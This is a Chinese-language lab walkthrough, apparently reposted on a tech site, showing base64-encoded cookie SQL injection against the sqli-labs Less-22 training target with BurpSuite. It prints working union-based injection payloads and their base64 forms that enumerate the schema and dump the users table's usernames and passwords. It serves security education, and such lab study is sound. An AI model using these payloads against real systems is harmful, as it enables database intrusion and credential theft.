【SQL注入11】base64注入基础及实践(基于BurpSuite工具的Sqli-labs-less22靶机平台)

编程知识 更新时间:2023-04-05 14:20:27

目录

  • 1 base64注入概述
    • 1.1 base64编码基础
    • 1.2 base64编码与URL编码
    • 1.3 base64注入
  • 2 实验简介
    • 2.1 实验平台
    • 2.2 实验目标
  • 3 实验过程
    • 3.1 前戏
    • 3.2 判断注入点及注入类型
    • 3.3 尝试使用union查询
    • 3.4 获取库名表名字段名字段内容
    • 3.5 实验结果
  • 4 总结

1 base64注入概述

1.1 base64编码基础

  1. 定义:Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
  2. 用途:Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。
  3. 特点:采用Base64编码具有不可读性,需要解码后才能阅读。

1.2 base64编码与URL编码

  1. 存在问题:标准的Base64并不适合直接放在URL里传输,因为URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式,而这些“%”号在存入数据库时还需要再进行转换。
  2. 解决问题:
    可采用一种用于URL的改进Base64编码,它在末尾填充’='号,并将标准Base64中的“+”和“/”分别改成了“-”和“_”,这样就免去了在URL编解码和数据库存储时所要作的转换,避免了编码信息长度在此过程中的增加,并统一了数据库、表单等处对象标识符的格式。

1.3 base64注入

  1. 定义:base64注入是针对传递的参数被base64编码后的注入点进行注入。
  2. 特点:除了数据被加密意外,其中注入方式与常规注入一般无二。

2 实验简介

2.1 实验平台

  1. 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
  2. 真实机:为了方便发送Cookie,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《BurpSuite简介及安装》。
  3. 靶机与真实机桥接到同一局域网中。

2.2 实验目标

  1. 获取网站后台数据库账号及密码。

3 实验过程

3.1 前戏

  1. 真实机打开BurpSuite,进入Proxy工具,打开自带浏览器,访问靶机sqli-labs的Less22,打开页面如下。
  2. 输入账号密码为Dumb,点击登录,出现以下页面,这里应该是页面代码弄错了,应该是第22的。
  3. 在BurpSuite工具的intercept界面开启 intercept is on后。在浏览器页面不点击Delete Your Cookie,直接再次发送该页面请求,让BurpSuite获取到请求包,将请求右键发送到repeater工具。
  4. 在BurpSuite的Repeater工具中,我们可以看到刚刚发送过来的请求,点击send,观察正常回包的响应内容。

3.2 判断注入点及注入类型

  1. 正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找cookie能否注入。本节实验为了演示base注入的过程,直接省去了测试其他位置能否注入的过程,仅为演示在cookie注入点如何进行base64注入。
  2. 将该请求中的Cookie值RHVtYg%3D%3D复制,切换到Decoder界面,点击“smart decode”,可以看到软件自动将特殊符号进行解码,得到RHVtYg==
  3. 我们将解码得到的参数代替原Cookie,点击send,可以看到响应正常。
  4. 我们再次切回Decode界面,点击解码,选择base64解码格式,得到cookie值为Dump,是我们原先输入的账号。
  5. 为了测试该注入是字符型的引号闭合方式,我们构建注入语句Dumb" and "1"="1,点击编码,选择base64的编码格式,得到编码后语句RHVtYiIgYW5kICIxIj0iMQ==
  6. 将该参数带入原Cookie中,点击send,可以看到可以看到响应正常。由反证法可以推断出该处注入为字符型且为双引号闭合。反证法详细分析请看《反证法:判断注入类型是数值型还是字符型》。

3.3 尝试使用union查询

  1. 目的:判断能否使用union联合查询注入。
  2. 我们要构造参数为Dumb" order by 3#,加上#是为了屏蔽掉后台SQL语句最后的双引号,将该参数经base64编码得到RHVtYiIgb3JkZXIgYnkgMyM=
  3. 将该编码后的参数代入cookie,点击send,可以看到响应正常。
  4. 同理地,构造参数为Dumb" order by 4#,编码后为RHVtYiIgb3JkZXIgYnkgNCM=,代入cookie中,页面显示错误。由此可知该页面回显参数有3列。
  5. 构造参数为-Dumb" union select 1,2,3#,编码后为LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMyM=,代入cookie中,
  6. 综上所述,注入点在cookie,注入参数需要用base64进行编码,可以使用union联合查询注入的方式来注入出数据库信息。

3.4 获取库名表名字段名字段内容

  1. 获取库名。修改参数为-Dumb" union select 1,2,database()#,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=,代入到cookie中并发送,得发现本站点数据库为security。
  2. 获取表名。修改参数为-Dumb" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpIw==,代入到cookie中并发送,得发现本站点数据库下有4个表,其中users是我们需要进一步获取数据的目标。
  3. 获取字段名。修改参数为-Dumb" union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWUgPSAndXNlcnMnIw==,代入到cookie中并发送,发现users表中共有3个字段,分别是id、username、password。
  4. 获取字段内容。参数为-Dumb" union select 1,2,group_concat(id,':',username,':',password) from users#,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGlkLCc6Jyx1c2VybmFtZSwnOicscGFzc3dvcmQpIGZyb20gdXNlcnMj,代入到cookie中并发送,发现一堆账号密码。

3.5 实验结果

  1. 实验成功获得后台账号密码。
  2. 该实验也可以使用报错注入的方式代替union注入。

4 总结

  1. base64注入是参数被base64编码过的注入方式;其注入点注入手法与之前所学相同。
  2. 掌握base64注入的方法。

更多推荐

【SQL注入11】base64注入基础及实践(基于BurpSuite工具的Sqli-labs-less22靶机平台)

本文发布于:2023-04-05 14:20:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/a73f39060943d871094a9eae66e007bd.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:靶机   基础   工具   平台   SQL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 46509文章数
  • 14阅读数
  • 0评论数